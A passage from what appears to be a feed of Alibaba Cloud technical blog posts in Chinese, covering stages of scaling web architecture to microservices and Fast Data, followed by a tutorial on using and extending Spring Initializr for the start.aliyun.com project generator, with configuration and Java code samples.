        当访问量达到1000万PV到5000万PV,虽然这个时候我们可以看到通过分布式文件系统OSS已经解决了文件存储的性能问题,虽然通过CDN已经解决静态资源访问的性能问题。但是当访问压力再次增加,这个时候 Web服务器和数据库方面依旧是瓶颈。在此我们通过垂直扩展,进一步切分 Web服务器和数据库的压力,解决性能问题。“那何为垂直扩展,按照不同的业务(或者数据库)切分到不同的服务器(或者数据库)之上,这种切分称之为垂直扩展。”如左边架构图所示,在这个架构阶段采用的云产品,相比上阶段,主要增加了数据库层面的读写分离或者对应的切库。

        这个阶段主要有三个技术特点:
        第一点,业务拆分
        在业务层,可以把不同的功能模块拆分到不同的服务器上面进行单独部署。比如,用户模块、订单模块、商品模块等,拆分到不同服务器上面部署。

        第二点,读写分离
        在数据库层,当结合数据库缓存,数据库压力还是很大的时候。我们通过读写分离的方式,进一步切分及降低数据库的压力。

        第三点,分库
        结合业务拆分、读写分离,在数据库层,比如我们同样可以把用户模块、订单模块、商品模块等。所涉及的数据库表:用户模块表、订单模块表、商品模块表等,分别存放到不同数据库中,如用户模块库、订单模块库、商品模块库等。然后把不同数据库分别部署到不同服务器中。

        此阶段架构有两个注意点:
        架构的中后期,业务的瓶颈往往都是集中在数据库层面。因为在业务层,我们通过负载均衡能够快速添加更多服务器进行水平扩容,很方便快速解决业务服务器处理的压力。而数据库怎么来做性能扩展,不是简单加几台服务器就能解决的,这往往涉及到复杂的数据库架构变更。垂直拆分,相对在业务上改动较少,并且数据库性能提升最为高效的一种方式,是我们中大型应用首要采用的架构方案。

        接着到达架构分布式+大数据阶段:水平扩展。

        架构分布式+大数据阶段:水平扩展

        image.png

        当访问量达到5000万PV及以上时,当真正达到千万级架构以上访问量的时候,我们可以看到垂直扩展的架构也已经开始“山穷水尽”。比如,读写分离仅解决读的压力,面对高访问量,在数据库“写”的压力上面开始“力不从心”,出现性能瓶颈。另外,分库虽然将压力拆分到不同数据库中。但单表的数据量达到TB级别以上,显然已经达到传统关系型数据库处理的极限。如左边架构图所示,在这个架构阶段采用的云产品,相比垂直扩展阶段,主要增加了DNS轮询解析、非关系型数据库MongoDB、以及表格存储列数据库OTS。

        此阶段有四个技术特点:
        第一点,增加更多的web应用服务器
        当后续压力进一步增大,在负载均衡后面增加更多的web应用服务器进行水平扩展。

        第二点,增加更多的SLB
        单台SLB也存在单点故障的风险,及SLB也存在性能极限,如七层SLB的QPS最大值为50000。我们可以通过DNS轮询,将请求轮询转发至不同可用区的SLB上面,实现SLB水平扩展。

        第三点,采用分布式缓存
        虽然阿里云memcache内存数据库已经是分布式结构,保障了存储在缓存中的数据高可用。但是使用缓存的业务场景是比较多的,我们不可能仅仅只是部署一个缓存服务,那么业务之间的使用可能存在相互影响。所以我们用多个云缓存,可以在代码层通过hash算法将数据分别缓存至不同的云缓存中,或者不同的业务场景直接连接使用不同的云缓存,来提高我们业务的健壮性。

        第四点,Sharding分片和NoSQL
        面对高并发、大数据的需求,传统的关系型数据库已不再适合,需要采用非关系型数据库NoSQL了。MongoDB和OTS作为NoSQL的典型代表,支持数据分片Sharding技术,根本上解决了关系型数据库面对高并发高存储量的痛点问题。

        此阶段架构注意点:
        大型应用中,海量业务数据的存储、分析给我们数据库提出巨大挑战。而传统关系型数据库明显已经力不从心,分布式数据库NoSQL是适用技术发展的未来趋势。有了海量业务数据的基础,我们可以结合云端MaxCompute大数据分析服务,来辅助业务进行价值创造。

        虽然到达架构分布式+大数据阶段,基本上能满足绝大多数千万级架构的业务需求。但同时带来新的挑战:
        image.png

        第一个挑战,分布式架构下,在业务层面的扩展,业务后期迭代、维护管理、敏捷开发等问题。所以借助前面的“云对技术架构变革”的这个图我们再次来看看。其实最后到达了容器体系下,微服务架构阶段解决了分布式架构带来的业务层面扩展性问题。微服务是业务功能层面的一种切分,切分成一个单个小型的独立业务功能的微服务。多个微服务通过API Gateway提供统一服务入口,让微服务对前台透明,而每个微服务也可以通过分布式架构进行部署,这给我们研发灵活性、业务后期迭代带来了极大的扩展性,这是我们未来软件技术架构的主流。并且微服务,在云平台基础上结合Docker容器技术进行部署。能让业务、运维、架构在技术和非技术方面的稳定性、成本、效率、扩展等都能达到完美。

        第二个挑战,Big Data所带来的离线计算问题。Big Data强调数据量,PB级以上,是静态数据。并且强调离线计算,结算结果并不是实时的,需要等到离线任务执行完毕才能汇总结果。随着企业数据需求不断变化,近年来对数据采集的实时性、对数据在线计算的实时性要求日益明显。现如今,基于Big Data海量数据的基础上 ,已经在逐步过渡到大数据实时计算分析的Fast Data时代了。Fast Data在数据量的基础上,意味着速度和变化,意味着客户可以更加实时化、更加快速地进行数据处理。

        最终演变成为当前最热门的微服务、容器、Fast Data架构。
        下一篇:架构微服务阶段

        ]]>
        架构微服务阶段:容器、Fast Data架构——阿里云 MVP乔锐杰 Fri, 02 May 2025 09:39:04 +0800 乔帮主的直播内容经精炼整理、分以下5篇:
        一、分享介绍&架构三原则
        二、云架构、架构的原始阶段和基础阶段
        三、架构动静分离和分布式阶段
        四、架构数据缓存阶段和两个维度拓展阶段
        五、架构微服务阶段

        架构微服务阶段:容器、Fast Data架构

        image.png

        在微服务阶段,结合容器技术,未来业务跨云平台分布式架构才是最主流的形态。如左边架构图所示,在这个架构阶段采用的云产品,相比水平扩展的分布式阶段,主要增加了DNS智能解析、时序数据库InfluxDB、阿里云容器服务kubernetes(ACK)、数据库传输服务DTS。

        这阶段有四个核心技术特点。
        第一点:我们通过容器技术DOCKER+K8S,让业务部署跨平台,不依赖云平台或者底层物理环境。

        第二点:通过DNS智能解析,我们能将用户请求分别调度转发到不同平台中。说到DNS智能解析,其实CDN的就近访问核心功能就是依靠CDN的智能解析。

        第三点:在跨云平台分布式架构中,最难的技术点其实就是核心技术点,就是数据同步。我们把业务部署在不同平台上,意味着数据在不同地域上,我们怎么样保障不同地域连接的数据库的数据做实时同步,保障数据一致性呢。阿里云有DTS成熟的同步方案,加上专线高速通道解决数据传输速度等问题,这也是这方面较成熟的解决方案。

        第四点:采用时序数据库InfluxDB,实现海量数据实时采集及存储,并且实现海量数据的实时查询计算。具体我们看一个FAST DATA的案例:驻云DataFlux产品功能架构图。
        image.png

        驻云DataFlux当然也是采用微服务+容器的架构。在这里主要跟大家分享的是fast data技术特点,即如何体现在fast上?如图架构图,我主要说三个实时的技术特点,让大家理解fast data阶段的技术特性。
        第一,数据的采集上,DataFlux可以采集各类业务场景数据源,并且是实时的采集的。采集器有驻云自主研发的datakit、wdf、pdf采集器,也支持telegraf、prometheus等热门采集器。这是第一个实时性。

        第二,数据实时采集后,通过数据网关(类似zabbix proxy代理),上报到数据处理开发平台,进行实时处理。

        第三,最为核心的实时性特点,数据经过实时处理后,核心通过influxdb时序数据库进行统一存储。

        Influxdb是个分布式数据库,读写速度能轻松达到秒级千万级数据量。特别是在查询分析上这是influxdb的核心优势。利用这第三个实时性的特点,我们把数据输出到数据洞察等多种企业级应用场景中,能轻松应对大规模海量数据的实时分析。这也influxdb为什么适合物联网IOT海量数据读写的重要原因,也基本上是物联网IOT架构中不可缺少的技术环节。

        通过“Fast Data”的一个案例,本次围绕“阿里云千万级架构构建”的主题分享就这些,更多精彩可购阅我新出版书籍哦。
        image.png

        ]]>
        阿里云发布 Spring Boot 新脚手架,真香 Fri, 02 May 2025 09:39:04 +0800 1.png

        作者 | 良名  阿里巴巴技术专家

        背景

        相信很多人都使用过 start.spring.io 来初始化自己的 Spring Boot 工程,这个工具为开发者提供了丰富的可选组件,并且可以选择多种打包方式,大大方便了开发人员的使用。最近,阿里的 Nacos、Sentinel 也进入 start.spring.io 的选项中,进一步的方便开发者使用阿里云的产品。

        2.png

        但是,生成的工程骨架中,只有组件坐标信息,缺少对应的使用方法和 Demo 代码;于是,开发者还是需要去寻找相关使用教程,或者样例代码;如果找的不对,或者是版本不匹匹配,还需要花费不少时间去排查和解决问题;这些问题都在无形中增加用户的工作量。

        我们将对软件工程的抽象层次自上而下进行切分,会得到如下的几个层级:行业、解决方案、应用、功能、组件;明显的, start.spring.io 目前只能提供组件级别的支持。再将组件这层展开,会发现这样一个生命周期:组件引入、组件配置、功能开发、线上运维。start.spring.io 也只实现了“组件引入”这一功能。

        我们的目标是“让阿里云成为广大 Java 开发者最好用的云”。要实现这个目标,是否可以再向前走几步,在解决“组件引入”问题的基础上,将组件的典型使用方法、样例代码、使用说明也加入到工程中呢?

        基于这种思考,我们上线了自己的 bootstrap 站点 start.aliyun.com :

        https://start.aliyun.com/

        当然,本着不重复造轮子的原则,我们不再构建一套工程生成底层框架,而是使用 Spring Initializr 来实现这部分功能。在此之上专注于增加新特性,实现服务广大开发者的目标。

        Spring Initializr:https://github.com/spring-io/initializr

        在 start.aliyun.com 中,我们为广大开发者带来了如下便利特性:

        • 为每个组件提供了单独的 DemoCode 和对应的配置样例(本次已发布);
        • 工程内置说明,减少用户查找文档的困难(部分实现);
        • 开发者只需要做减法,而非加法的使用方式(部分实现);
        • 提供多组件集成的解决方案(开发中);
        • 定期跟进 start.spring.io 的更新,方便大家使用到 spring 的最新功能。

        start.aliyun.com:https://start.aliyun.com/

        未来,我们还需要再助力开发者这条路上继续发力,不仅仅是做好组件集成的工作,还要需要继续向上支持,提供更多功能、服务、应用层级的快速构建能力。

        本文,围绕 spring initializr 框架,以 start.spring.io 为例,全面的给大家介绍如何使用和扩展这个框架,以及背后的运行原理。

        使用篇

        由于 spring-initializr 提供了灵活的扩展能力,以及丰富的默认实现;其使用方式也是非常的灵活多变;为了便于说明,我们直接通过 start.spring.io ,看看 Spring 自己是怎么使用这套框架的。

        1. 基本用法

        基本用法的原则,是尽量少写代码,甚至是不写代码。只通过配置就可以实现 initializr 工程的创建。

        依赖引入

        要使用 spring-initializr ,首先要引入这套框架。很简单,直接依赖 bom 即可:

        <dependencyManagement>
            <dependencies>
                <dependency>
                    <groupId>io.spring.initializr</groupId>
                    <artifactId>initializr-bom</artifactId>
                    <version>0.9.0.BUILD-SNAPSHOT</version>
                    <type>pom</type>
                    <scope>import</scope>
                </dependency>
            </dependencies>
        </dependencyManagement>

        有了这个 bom 依赖,我们就不用再关心内部组件的版本等信息了。

        一般来说,我们还需要引入具体组件:

        <dependency>
                    <groupId>io.spring.initializr</groupId>
                    <artifactId>initializr-generator-spring</artifactId>
                </dependency>
                <dependency>
                    <groupId>io.spring.initializr</groupId>
                    <artifactId>initializr-version-resolver</artifactId>
                </dependency>
                <dependency>
                    <groupId>io.spring.initializr</groupId>
                    <artifactId>initializr-web</artifactId>
                </dependency>

        具体每个子模块的用途,这里列出来,供读者参考:

        • initializr-actuator: 监控诊断的附加信息,这个暂时忽略;
        • initializr-bom: 便于外部使用的bom依赖;
        • initializr-docs: 使用文档;
        • initializr-generator: 核心工程生成库;
        • initializr-generator-spring: 用于生成典型的spring boot工程;
        • initializr-generator-test: 测试框架;
        • initializr-metadata: 项目各个方面的元数据基础结构;
        • initializr-service-sample: 基本使用案例;
        • initializr-version-resolver:版本号解析能力;
        • initializr-web: 提供给三方客户端使用的web入口。

        基本配置

        • 完成了框架引入,就需要做一些基础配置了
        • 支持哪些语言:Java、groovy、Kotlin
        • 支持哪些版本:1.8、11、13
        • 支持哪些打包方式:jar、war

        将这些信息全部配置到 application.yml 文件中,如下:

        initializr:
            packagings:
            - name: Jar
              id: jar
              default: true
            - name: War
              id: war
              default: false
          javaVersions:
            - id: 13
              default: false
            - id: 11
              default: false
            - id: 1.8
              name: 8
              default: true
          languages:
            - name: Java
              id: java
              default: true
            - name: Kotlin
              id: kotlin
              default: false
            - name: Groovy
              id: groovy
              default: false

        其中 name 是可选的, id 是必填的。

        每个配置项下,可以有一个默认值(将 default 这是为 true 即可),除了这些基本配置,我们还需要定义可以支持的项目类型:

        initializr:
            types:
            - name: Maven Project
              id: maven-project
              description: Generate a Maven based project archive.
              tags:
                build: maven
                format: project
              default: true
              action: /starter.zip
            - name: Maven POM
              id: maven-build
              description: Generate a Maven pom.xml.
              tags:
                build: maven
                format: build
              default: false
              action: /pom.xml
            - name: Gradle Project
              id: gradle-project
              description: Generate a Gradle based project archive.
              tags:
                build: gradle
                format: project
              default: false
              action: /starter.zip
            - name: Gradle Config
              id: gradle-build
              description: Generate a Gradle build file.
              tags:
                build: gradle
                format: build
              default: false
              action: /build.gradle

        默认情况下, initializr 已经支持 4 种项目类型:

        • /pom.xml 生成一个 Maven 的 pom.xml 配置文件
        • /build.gradle 生成 Gradle 的配置文件
        • /starter.zip 生成 zip 方式压缩的工程文件
        • /starter.tgz 生成以 tgz 方式压缩的工程文件

        通过 tags 标签,我们可以定义不同配型的编译方式 (build) 和打包格式(format)。

        配置基本依赖

        完成了基本配置以后,就可以配置可选的依赖组件了。

        依赖配置以 dependency 为 key ,同样配置在 application.yml 的 initializr 下面,这里给出一个简单的样例:

        initializr:
          dependencies:
            - name: Web
              content:
                - name: Web
                  id: web
                  description: Full-stack web development with Tomcat and Spring MVC
                - name: Developer Tools
              content:
                - name: Spring Boot DevTools
                  id: devtools
                  groupId: org.springframework.boot
                  artifactId: spring-boot-devtools
                  description: Provides fast application restarts, LiveReload, and configurations for enhanced development experience.
                - name: Lombok
                  id: lombok
                  groupId: org.projectlombok
                  artifactId: lombok
                  description: Java annotation library which helps to reduce boilerplate code.

        dependencies 下定义分组。分组的作用是便于展示和快速查找,所以不需要 id ,只需要 name 信息;每个分组的 content 是分组的具体内容,也就是这个分组下的组件定义;支持以列表形式定义多个;另外,每个分组都可以设置当前分组内组件公用的配置信息。

        每一依赖,包含如下的基本信息:

        • id:组件的唯一标识符
        • groupId & artifactId:组件的坐标
        • name:显示名称
        • description:描述信息,主要用于展示用途
        • version:组件版本

        关于 groupId & artifactId:如果设置了坐标,生成的项目里会使用这里的坐标定位组件;但是如果没有设置坐标,框架会认为这是一个标准的 spring-boot 组件,自动添加 spring-boot-starter-{id} 作为生成的依赖坐标。

        关于 version:如果直接在组件上设置版本信息,框架会直接使用这个值作为组件依赖的版本;但是很多时候,组件的版本会受到 spring-boot 版本的影响,此时就需要对版本做特殊的定义 & 管理。

        配置依赖版本管理

        这里需要先了解一下版本命名规则:一个典型的版本,一般包含如下 4 个信息:大版本、小版本、修正版本、版本限定符。

        版本范围有一个上界和下界,可以方括号 [] 或者圆括号 () 表示。方括号代表上下界的闭区间,圆括号代表上下界的开区间。

        例如:“[1.1.6.RELEASE,1.3.0.M1)”代表所有从 1.1.6.RELEASE 到 1.3.0.M1 之间所有的版本(包含 1.1.6.RELEASE ,但不包含 1.3.0.M1 )。

        同时,可以使用单一版本号作为版本范围,例如 “1.2.0.RELEASE”。单一版本号的版本范围代表“从这个版本以及之后的所有版本”。

        如果需要使用“最新的 Release 版本”的概念,可以使用一个字母 x 代表具体的版本号。

        例如, 1.4.x.BUILD-SNAPSHOT 代表 1.4.x 的最新快照版本。

        再比如:如果需要表达,从 1.1.0.RELEASE 到 1.3.x 之间的所有版本,可以用[1.1.0.RELEASE,1.3.x.RELEASE]来表达。

        另外,版本限定符也是有顺序的(升序):

        • M:里程碑版本
        • RC:发布候选版本
        • RELEASE:发布版本
        • BUILD-SNAPSHOT:为开发构建的快照版本

        所以快照版本是所有限定符里优先级最高的。假设某个组件需要 Spring Boot 的最新版本,可以使用 1.5.x.BUILD-SNAPSHOT  (假设 1.5 版是 Spring Boot 的最新版本)。

        最后,版本范围中讨论的版本,指的都是 Spring Boot的版本,而不是组件自己的版本。

        前面介绍了,可以使用 version 属性定义组件的具体版本号;但是,如果组件版本与Spring Boot 的版本存在关联关系,就需要使用 compatibilityRange 来配置依赖的版本范围。

         compatibilityRange 可以定义在两个地方:

        • 直接定义在组件(或 Bom )上

        这种定义方式,代表组件只支持  Spring Boot 的某一个版本范围,例如下面的配置:

        initializr:
          dependencies:
            - name: Stuff
              content:
                - name: Foo
                  id: foo
                  ...
                  compatibilityRange: 1.2.0.M1
                - name: Bar
                  id: bar
                  ...
                  compatibilityRange: "[1.5.0.RC1,2.0.0.M1)"

        Foo 可以支持 Spring boot 1.2.0  之后的所有版本;而Bar只能支持 Spring Boot 1.5.0  到  2.0.0 之间的版本,且不包含 2.0.0 ;

        • 定义在组件的 mappgin 属性下

        可以支持在 Spring Boot 不同版本之下对组件做不同的设置(可以重置组件部分或者是所有的属性),下面的例子中对 artifactId 做了特殊定义:

        initializr:
          dependencies:
            - name: Stuff
              content:
                - name: Foo
                  id: foo
                  groupId: org.acme.foo
                  artifactId: foo-spring-boot-starter
                  compatibilityRange: 1.3.0.RELEASE
                  mappings:
                    - compatibilityRange: "[1.3.0.RELEASE,1.3.x.RELEASE]"
                      artifactId: foo-starter
                    - compatibilityRange: "1.4.0.RELEASE"

        这个例子中, foo 在 Spring Boot 的 1.3 使用 foo-starter 作为坐标的 artifactId ;在 1.4.0.RELEASE 以及之后的版本中,还是使用 foo-spring-boot-starter 作为 artifactId 的值;

        使用 Bom 管理版本:有时候,需要使用 Bom 的方式管理组件版本;此时不需要对组件单独设置版本号。

        要使用 Bom ,首先要配置 Bom 定义:

        initializr:
          env:
            boms:
              my-api-bom:
                groupId: org.acme
                artifactId: my-api-dependencies
                version: 1.0.0.RELEASE
                repositories: my-api-repo-1

        注意:Bom 信息,定义在 initializr.env.boms下面。

        其属性和依赖组件基本一致,都是坐标、版本;同时, Bom 也支持版本范围管理。

        完成了 Bom 的定义,就需要在组件中引用 Bom :

        initializr:
          dependencies:
            - name: Other
              content:
                - name: My API
                  id : my-api
                  groupId: org.acme
                  artifactId: my-api
                  bom: my-api-bom

        一旦用户选择了 my-api 组件,框架会自动为生成的项目添加了 my-api-dependencies 的 Bom 依赖;

        2. 高级定制

        启用缓存

        如果你启动过 start.spring.io 项目,你会在日志里发现这样的输出 “Fetching boot metadata from spring.io/project_metadata/spring-boot” 为了避免过于频繁的检查 Spring Boot 版本,官方是建议配合缓存一起使用。

        首先需要引入缓存框架:

        <dependency>
            <groupId>javax.cache</groupId>
            <artifactId>cache-api</artifactId>
        </dependency>
        <dependency>
            <groupId>org.ehcache</groupId>
            <artifactId>ehcache</artifactId>
        </dependency>

        然后,在 SpringBootApplication 类上增加 @EnableCaching 注解:

        3.png

        如果需要自己定义缓存,可以调整如下缓存配置:

        4.png

        增加 Demo代码:由于不同的组件有不同的功能,如果需要为项目增加 Demo 代码。

        为不同的组件增加独立配置:还记得原理篇中提到的 spring.factories 吗?对,我们要增加自己的配置项,就需要在这里增加针对不同组件样例代码的扩展入口。

        io.spring.initializr.generator.project.ProjectGenerationConfiguration=
        com.alibaba.alicloud.initializr.extension.dependency.springboot.SpringCloudProjectGenerationConfiguration

        在 SpringCloudProjectGenerationConfiguration 中,我们通过 ConditionalOnRequestedDependency 注解来识别不同组件:

        @ProjectGenerationConfiguration
        public class SpringCloudAlibabaProjectGenerationConfiguration {
            private final InitializrMetadata metadata;
            private final ProjectDescription description;
            private final IndentingWriterFactory indentingWriterFactory;
            private final TemplateRenderer templateRenderer;
            public SpringCloudAlibabaProjectGenerationConfiguration(InitializrMetadata metadata,
                                                                    ProjectDescription description,
                                                                    IndentingWriterFactory indentingWriterFactory,
                                                                    TemplateRenderer templateRenderer) {
                this.metadata = metadata;
                this.description = description;
                this.indentingWriterFactory = indentingWriterFactory;
                this.templateRenderer = templateRenderer;
            }
            @Bean
            @ConditionalOnRequestedDependency("sca-oss")
            public OSSDemoCodeContributor ossContributor() {
                return new OSSDemoCodeContributor(description, templateRenderer);
            }
            ......
        }

        上面的代码,会在选择了 sca-oss 组件时,创建一个 OSSDemoCodeContributor 用于对应 Demo 代码的生成。

        生成具体的 Demo 代码:继续以 OSSDemoCodeContributor 为例,它是一个 ProjectContributor ,会在项目文件空间创建完成了调用。我们需要为这个 Contributor 在实例化时增加生成过程中需要的元数据信息,例如 ProjectDescription 。

        代码生成过程,比较简单,可以直接复用框架中就提供的 mstache 模板引擎。

        我们直接将 Demo 代码,以模板的形式,放置在 resources 文件夹之下:

        5.png

        然后,我们再通过模板引擎,解析这些模板文件,再拷贝到项目目录下即可:

        private void writeCodeFile(TemplateRenderer templateRenderer, Language langeuage,
                                       Map<String, Object> params, Path path, String temp) throws IOException {
                ......
                Path pkgPath = 生成包路径
                Path filePath = 成成代码文件路径
                // 渲染模板
                String code = templateRenderer.render(temp, params);
                // demo 文件写入
                Files.createDirectories(pkgPath);
                Files.write(filePath, code.getBytes("UTF-8"));
            }

        除了模板代码以外,我们通常还需要在 applicatioin.properties 文件写入模块的配置信息。

        这里,我们依然可以使用代码生成的方式:创建模板、解析模板,追加文件的方式来实现。具体代码这里就不贴了,读者可以自己发挥。

        原理篇

        原理篇,主要介绍 spring.initializr 是如何实现项目工程构建的,以及作为一个框架,如何提供丰富的扩展能力的。

        在原理篇,我们将 initializr 的执行分为两个阶段:启动阶段和生成阶段。

        • 启动阶段:启动应用,加载配置,扩展信息初始化;
        • 生成阶段:一个项目生成,从收到请求,到返回内容的完整流程。

        1. 启动阶段

        再开始启动流程之前,先要看一下 initializr 的扩展体系。

        整个架构大量使用了 spring 的 spi 机制,我们来看一下一共有哪些 spring.factories :

        • initializr-generator/src/main/resources/META-INF/spring.factories
        • initializr-generator-spring/src/main/resources/META-INF/spring.factories
        • initializr-web/src/main/resources/META-INF/spring.factories
        • initializr-actuator/src/main/resources/META-INF/spring.factories
        • start-site/src/main/resources/META-INF/spring.factories

        其中只有一个在 start.spring.io 中,其他 4 个都在 initializr 工程中(各 spring.factories 的具体内容见参考资料)。

        不过要注意,这些 spring.factories 定义,仅仅代表了各个 SPI 有哪些扩展。不同spi的实现创建和使用完全是在不同的阶段进行的。

        在应用启动阶段,其实只有一个 spi 会被加载(暂不考虑 actuator):io.spring.initializr.web.autoconfigure.InitializrAutoConfiguration 。

        @Configuration
        @EnableConfigurationProperties(InitializrProperties.class)
        public class InitializrAutoConfiguration {
            @Bean
            @ConditionalOnMissingBean
            public ProjectDirectoryFactory projectDirectoryFactory()
            @Bean
            @ConditionalOnMissingBean
            public IndentingWriterFactory indentingWriterFactory()
            @Bean
            @ConditionalOnMissingBean(TemplateRenderer.class)
            public MustacheTemplateRenderer templateRenderer(Environment environment, ObjectProvider<CacheManager> cacheManager)
            @Bean
            @ConditionalOnMissingBean
            public InitializrMetadataUpdateStrategy initializrMetadataUpdateStrategy(RestTemplateBuilder restTemplateBuilder,
                    ObjectMapper objectMapper)
            @Bean
            @ConditionalOnMissingBean(InitializrMetadataProvider.class)
            public InitializrMetadataProvider initializrMetadataProvider(InitializrProperties properties,
                    InitializrMetadataUpdateStrategy initializrMetadataUpdateStrategy)
            @Bean
            @ConditionalOnMissingBean
            public DependencyMetadataProvider dependencyMetadataProvider()
            @Configuration
            @ConditionalOnWebApplication
            static class InitializrWebConfiguration {
                @Bean
                InitializrWebConfig initializrWebConfig()
                @Bean
                @ConditionalOnMissingBean
                ProjectGenerationController<ProjectRequest> projectGenerationController(
                        InitializrMetadataProvider metadataProvider, ApplicationContext applicationContext)
                @Bean
                @ConditionalOnMissingBean
                ProjectMetadataController projectMetadataController(InitializrMetadataProvider metadataProvider,
                        DependencyMetadataProvider dependencyMetadataProvider)
                @Bean
                @ConditionalOnMissingBean
                CommandLineMetadataController commandLineMetadataController(InitializrMetadataProvider metadataProvider,
                        TemplateRenderer templateRenderer)
                @Bean
                @ConditionalOnMissingBean
                SpringCliDistributionController cliDistributionController(InitializrMetadataProvider metadataProvider)
            }
        }

        这里会做如下几件事情:

        • 初始化元数据 Provider
        • 创建模板引擎
        • 创建目录、缩进工厂
        • 初始化 web 配置
        • 创建 spring mvc 的 web 入口
        • 各种 ProjectGenerationController

        其中最关键的元数据加载部分,使用了 EnableConfigurationProperties 注解,将 spring 环境中的配置项写到 InitializrProperties 上:

        6.png

        在 application.yml 文件中,可以找到如下的配置信息,这里就是实际的项目依赖关系元数据的配置存储点:

        7.png

        整体来看,启动阶段的动作还是比较简单的,这也是为什么 start.spring.io 启动只需要数秒的原因。

        更多的逻辑,都被留在了工程生成阶段。

        2. 生成阶段

        生成阶段,spring-initializr 使用了一个很有意思的实现方式:initializr 框架会为每一次项目生成,创建一个独立的 context 用于存放生成流程中需要使用到的各种 bean 。

        先来一张时序图:

        8.png

        • 蓝色的类,是在应用启动阶段就完成了创建和数据填充;其生命周期和整个应用一致;
        • 黄色的类,会在具体的项目构建过程中生成;其生命周期在一次项目生成流程之内结束。

        从上面的时序图中可以看出:一个典型的创建行为,通常从 ProjectGenerationController收到web端的创建请求开始,通过 ProjectGenerationInvoker 这个中间层转换,最终进入 ProjectGenerator 的核心构建流程。

        主干流程

        下图,是 ProjectGenerator 的核心构建流程:

        9.png

        106 行,通过 contextFactory 构建了一个新的 ProjectGenerationContext 。

        看一下这个context的继承关系,原来于spring提供的AnnotationConfigApplicationContext 。

        再结合 110 行的 refresh() 方法,是不是发现了什么?就是 spring 的 ApplicationContext 的刷新流程。

        10.png

        107 行的 resolve 方法,向 context 中注册了一个 ProjectDescription的Provider,代码如下:

        10(1).png

        由于注册的是 Provider ,所以这段逻辑会在 Context 执行 refresh 时运行。

        这里的 ProjectDescriptionCustomizer 就是针对 ProjectDescription 的扩展,用于对用户传入的 ProjectDescription 做调整。这里主要是一些强制依赖关系的调整,例如语言版本等。

        这时候再看 108 行,这里向 Context 注册一个 Configuration 。

        那么这个 Configuration 包含了什么内容呢?一起来看下面这段代码:

        11.png

        ProjectGenerationConfiguration!!!前面提到的 spring.factories 中有很多这个 SPI 的实现(参见参考资料)。

        原来,initializr 的整个扩展体系,在这里才开始创建实例;

        ProjectGenerator 的 109 行,对一个 consumer 做了 accept 操作;其实就是调用了下面的代码:

        12.png

        这里通过 setParent 将应用的主上下文设置为这次 ProjectGenerationContext 的父节点。

        并且向这次 ProjectGenerationContext 中注册了元数据对象。

        最后,在 ProjectGenerator 的 112 行,调用了 projectAssetGenerator 的 generate 方法,实现如下:

        13.png

        通过上面的代码可以发现,这里对实际的工程构建工作,其实就是很多的 ProjectContributor 共同叠加;

        至此,主干流程已经结束了。

        我们可以发现,在主干流程中,没有做任何写文件的操作(只创建了根文件夹);它仅仅是定义了一套数据加载、扩展加载的机制与流程,将所有的具体实现都作为扩展的一部分。

        扩展流程

        spring-initializr 提供了 2 种主要扩展途径:ProjectContributor 和 xxxxxCustomizer。

        14.png

        从方法签名就可以看出,入参只有一个项目的根路径,其职责就是向这个路径下些人项目文件。这个扩展点非常的灵活,几乎可以支持任何的代码、配置文件写入工作。

        实现过程中,可以通过 ProjectGenerationContext 获取相关依赖,然后通过自定义逻辑完成文件生成工作。

        下面是 initializr 和 start.spring.io 提供的 ProjectContributor 实现:

        15.png

        拿几个主要的实现看看:

        • MavenBuildProjectContributor:写入 maven 项目 pom.xml 文件;
        • WebFoldersContributor:创建 web 项目的资源文件夹;
        • ApplicationPropertiesContributor:写入 application.properties 文件;
        • MainSourceCodeProjectContributor:写入应用入口类 xxxApplication.java 文件;
        • HelpDocumentProjectContributor:写入帮助文档 HELP.md 文件。

        相对于 ProjectContributor,xxxxxCustomizer  不是一个统一的接口,我把他理解为一种感念和与之对应的命名习惯;每个 Customizer 都有自己明确的名字,同时也对应了明确的触发逻辑和职责边界。

        下面列出框架提供的 Customizer 的说明:

        • MainApplicationTypeCustomizer:自定义 MainApplication 类;
        • MainCompilationUnitCustomizer:自定义 MainApplication 编译单元;
        • MainSourceCodeCustomizer:自定义 MainApplication 源码;
        • BuildCustomizer:自定义项目构建工具的配置内容;
        • GitIgnoreCustomizer:自定义项目的 .gitignore 文件;
        • HelpDocumentCustomizer:自定义项目的帮助文档;
        • InitializrMetadataCustomizer:自定义项目初始化配置元数据;这个 Customizer 比较特殊,框架会在首次加载元数据配置时调用;
        • ProjectDescriptionCustomizer:自定义 ProjectDescription ;即在生成项目文件之前,允许调整项目描述信息;
        • ServletInitializerCustomizer:自定义 web 应用在类上的配置内容;
        • TestApplicationTypeCustomizer:自定义测试 Application 类;
        • TestSourceCodeCustomizer:自定义测试 Application 类的源码。

        参考资料

        1. 相关链接

        • initializr 说明文档

        https://docs.spring.io/initializr/docs/current-SNAPSHOT/reference/html/

        • spring-initializr 项目地址

        https://github.com/spring-io/initializr

        • start.spring.io 项目地址

        https://github.com/spring-io/start.spring.io

        2. spring.factories 明细

        initializr-generator/src/main/resources/META-INF/spring.factoriesio.spring.initializr.generator.buildsystem.BuildSystemFactory=
        io.spring.initializr.generator.buildsystem.gradle.GradleBuildSystemFactory,
        io.spring.initializr.generator.buildsystem.maven.MavenBuildSystemFactory
        io.spring.initializr.generator.language.LanguageFactory=
        io.spring.initializr.generator.language.groovy.GroovyLanguageFactory,
        io.spring.initializr.generator.language.java.JavaLanguageFactory,
        io.spring.initializr.generator.language.kotlin.KotlinLanguageFactory
        io.spring.initializr.generator.packaging.PackagingFactory=
        io.spring.initializr.generator.packaging.jar.JarPackagingFactory,
        io.spring.initializr.generator.packaging.war.WarPackagingFactory

        initializr-generator-spring/src/main/resources/META-INF/spring.factories:

        io.spring.initializr.generator.project.ProjectGenerationConfiguration=
        io.spring.initializr.generator.spring.build.BuildProjectGenerationConfiguration,
        io.spring.initializr.generator.spring.build.gradle.GradleProjectGenerationConfiguration,
        io.spring.initializr.generator.spring.build.maven.MavenProjectGenerationConfiguration,
        io.spring.initializr.generator.spring.code.SourceCodeProjectGenerationConfiguration,
        io.spring.initializr.generator.spring.code.groovy.GroovyProjectGenerationConfiguration,
        io.spring.initializr.generator.spring.code.java.JavaProjectGenerationConfiguration,
        io.spring.initializr.generator.spring.code.kotlin.KotlinProjectGenerationConfiguration,
        io.spring.initializr.generator.spring.configuration.ApplicationConfigurationProjectGenerationConfiguration,
        io.spring.initializr.generator.spring.documentation.HelpDocumentProjectGenerationConfiguration,
        io.spring.initializr.generator.spring.scm.git.GitProjectGenerationConfiguration

